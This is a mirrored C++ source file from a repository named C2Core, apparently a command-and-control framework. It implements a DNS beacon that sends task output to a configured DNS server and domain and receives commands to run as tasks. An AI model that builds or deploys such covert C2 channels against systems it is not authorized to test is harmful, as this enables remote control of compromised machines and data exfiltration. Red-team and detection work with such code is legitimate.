mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
49 lines
812 B
C++
49 lines
812 B
C++
#include "BeaconDns.hpp"
|
|
#include <client.hpp>
|
|
|
|
|
|
using namespace std;
|
|
using namespace dns;
|
|
|
|
|
|
BeaconDns::BeaconDns(std::string& config, const std::string& dnsServer, const std::string& domain)
|
|
: Beacon()
|
|
{
|
|
// beacon and modules config
|
|
initConfig(config);
|
|
|
|
m_client=new Client(dnsServer, domain);
|
|
}
|
|
|
|
|
|
BeaconDns::~BeaconDns()
|
|
{
|
|
delete m_client;
|
|
}
|
|
|
|
|
|
void BeaconDns::checkIn()
|
|
{
|
|
SPDLOG_DEBUG("initConnection");
|
|
|
|
std::string output;
|
|
taskResultsToCmd(output);
|
|
|
|
SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size()));
|
|
|
|
m_client->sendMessage(output);
|
|
|
|
std::string input = m_client->requestMessage();
|
|
|
|
if(!input.empty())
|
|
{
|
|
SPDLOG_DEBUG("received input.size {0}", std::to_string(input.size()));
|
|
cmdToTasks(input);
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
|